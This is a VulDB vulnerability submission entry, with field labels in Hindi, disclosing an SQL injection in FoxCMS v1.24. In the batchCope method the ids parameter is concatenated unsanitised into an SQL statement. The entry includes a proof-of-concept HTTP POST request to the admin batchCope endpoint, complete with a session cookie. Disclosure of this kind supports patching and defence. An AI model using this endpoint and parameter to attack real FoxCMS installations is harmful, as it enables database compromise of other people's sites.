| शीर्षक | 贵州黔狐科技股份有限公司 foxcms v1.24 SQL Injection |
|---|
| विवरण | In the batchCope method of foxcms, the ids parameters passed from the front end are not processed at all and are directly concatenated into the SQL statement. The SQL statement then performs an insertion operation, which leads to an sql injection vulnerability. The vulnerability corresponding interface for/admin3953 / images/batchCope. HTML, parameters for ids.Here is the POC:
POST /admin3953/images/batchCope.html HTTP/1.1
Host: www.foxcms.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 18
Origin: http://www.foxcms.com
Connection: close
Referer: http://www.foxcms.com/admin3953/article/index.html?columnId=8&bcid=1_8
Cookie: PHPSESSID=bf6a099242593444d6ab2d90da8244f1; access_127_0_0_1=1756266092
Priority: u=0
ids=62 |
|---|
| स्रोत | ⚠️ https://github.com/ueh1013/VULN/issues/3 |
|---|
| उपयोगकर्ता | jhsec.com (UID 89557) |
|---|
| सबमिशन | 27/08/2025 02:42 PM (1 वर्ष पहले) |
|---|
| संयम | 11/09/2025 07:21 AM (15 days later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 323611 [FoxCMS तक 1.24 Images.php batchCope ids SQL इंजेक्शन] |
|---|
| अंक | 20 |
|---|